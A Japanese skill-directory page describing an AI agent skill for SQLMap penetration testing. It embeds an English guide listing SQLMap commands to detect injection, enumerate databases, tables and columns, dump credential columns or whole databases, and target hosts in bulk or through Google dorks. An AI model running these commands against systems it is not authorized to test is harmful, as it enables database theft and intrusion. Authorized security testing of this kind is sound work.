本文へスキップ
Skillpedia
セキュリティ33k · #9074

sqlmap-database-pentesting

できること

このスキルは、あなたのエージェントに、SQLインジェクションのテストを自動化するツールSQLMapの使い方を案内します。テスト対象のデータベースを検査する許可を得た侵入テスターが対象です。

使う場面

  • ✓疑わしいWebパラメーターがあり、SQLMapで確認したいとき。
  • ✓認可を受けたテスト対象のデータベース、テーブル、列を一覧にする必要があるとき。
  • ✓Burp Suiteで取得したPOSTリクエストをテストしたいとき。

スキルのリンク

https://github.com/davila7/claude-code-templates/blob/main/cli-tool/components/skills/security/sqlmap-database-pentesting/SKILL.md

コピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。

使い方

いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。

貼り付け用メッセージ

このスキルを使って手伝ってください:https://github.com/davila7/claude-code-templates/blob/main/cli-tool/components/skills/security/sqlmap-database-pentesting/SKILL.md このリンクのSKILL.mdファイルを読んで、私の作業でその指示に従ってください。
こういうスキルを、AIが自分で見つけてくれたら?無料のSkillpedia MCPをインストール。1行で、作業の前に15,000+のスキルから探してくれます。1分でインストール →

AIへの頼み方の例

“承認された当社のテストサーバーで、このログインのパラメーターにインジェクションが可能かどうかを、SQLMapで確認する手伝いをしてください。”

毎週5つの新しいスキル。1分で読めます。

仕組み

エージェントは、まずインジェクションの箇所を手動で確認し、その後、データベースの種類と構造を検出するために適切なオプションでSQLMapを実行します。

技術的な内容(元のSKILL.md)

作者による元のテキスト(英語)をGitHubからそのまま表示しています。

SQLMap Database Penetration Testing

Purpose

Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.

Inputs / Prerequisites

  • Target URL: Web application URL with injectable parameter (e.g., ?id=1)
  • SQLMap Installation: Pre-installed on Kali Linux or downloaded from GitHub
  • Verified Injection Point: URL parameter confirmed or suspected to be SQL injectable
  • Request File (Optional): Burp Suite captured HTTP request for POST-based injection
  • Authorization: Written permission for penetration testing activities

Outputs / Deliverables

  • Database Enumeration: List of all databases on the target server
  • Table Structure: Complete table names within target database
  • Column Mapping: Column names and data types for each table
  • Extracted Data: Dumped records including usernames, passwords, and sensitive data
  • Hash Values: Password hashes for offline cracking
  • Vulnerability Report: Confirmation of SQL injection type and severity

Core Workflow

1. Identify SQL Injection Vulnerability

Manual Verification

# Add single quote to break query
http://target.com/page.php?id=1'

# If error message appears, likely SQL injectable
# Error example: "You have an error in your SQL syntax"

Initial SQLMap Scan

# Basic vulnerability detection
sqlmap -u "http://target.com/page.php?id=1" --batch

# With verbosity for detailed output
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3

2. Enumerate Databases

List All Databases

sqlmap -u "http://target.com/page.php?id=1" --dbs --batch

Key Options:

  • -u: Target URL with injectable parameter
  • --dbs: Enumerate database names
  • --batch: Use default answers (non-interactive mode)

3. Enumerate Tables

List Tables in Specific Database

sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch

Key Options:

  • -D: Specify target database name
  • --tables: Enumerate table names

4. Enumerate Columns

List Columns in Specific Table

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch

Key Options:

  • -T: Specify target table name
  • --columns: Enumerate column names

5. Extract Data

Dump Specific Table Data

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch

Dump Specific Columns

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch

Dump Entire Database

sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch

Key Options:

  • --dump: Extract all data from specified table
  • --dump-all: Extract all data from all tables
  • -C: Specify column names to extract

6. Advanced Target Options

Target from HTTP Request File

# Save Burp Suite request to file, then:
sqlmap -r /path/to/request.txt --dbs --batch

Target from Log File

# Feed log file with multiple requests
sqlmap -l /path/to/logfile --dbs --batch

Target Multiple URLs (Bulk File)

# Create file with URLs, one per line:
# http://target1.com/page.php?id=1
# http://target2.com/page.php?id=2
sqlmap -m /path/to/bulkfile.txt --dbs --batch

Target via Google Dorks (Use with Caution)

# Automatically find and test vulnerable sites (LEGAL TARGETS ONLY)
sqlmap -g "inurl:?id= site:yourdomain.com" --batch

Quick Reference Commands

Database Enumeration Progression

Stage Command
List Databases sqlmap -u "URL" --dbs --batch
List Tables sqlmap -u "URL" -D dbname --tables --batch
List Columns sqlmap -u "URL" -D dbname -T tablename --columns --batch
Dump Data sqlmap -u "URL" -D dbname -T tablename --dump --batch
Dump All sqlmap -u "URL" -D dbname --dump-all --batch

Supported Database Management Systems

DBMS Support Level
MySQL Full Support
PostgreSQL Full Support
Microsoft SQL Server Full Support
Oracle Full Support
Microsoft Access Full Support
IBM DB
よくある質問

SQLMapとは何ですか?

SQLインジェクションの欠陥を見つけて悪用する作業を自動化する、オープンソースのツールです。

どのデータベースに対応していますか?

MySQL、PostgreSQL、MSSQL、Oracleなどのデータベースシステムが挙げられています。

書面による許可は必要ですか?

はい。スキルは、書面による認可を得たテストのためのものです。

詳細

作者による元の説明

This skill should be used when the user asks to "automate SQL injection testing," "enumerate database structure," "extract database credentials using sqlmap," "dump tables and columns from a vulnerable database," or "perform automated database penetration testing." It provides comprehensive guidance for using SQLMap to detect and exploit SQL injection vulnerabilities.

repo: davila7/claude-code-templates

人気

GitHubのスター
33k
ランキング
#9074
ライセンス
MIT
更新日
2026/11/2

このスキルは役に立ちますか?

0

ログイン して投票しましょう。

コメント

  • …

このリポジトリの他のスキル

似ているスキル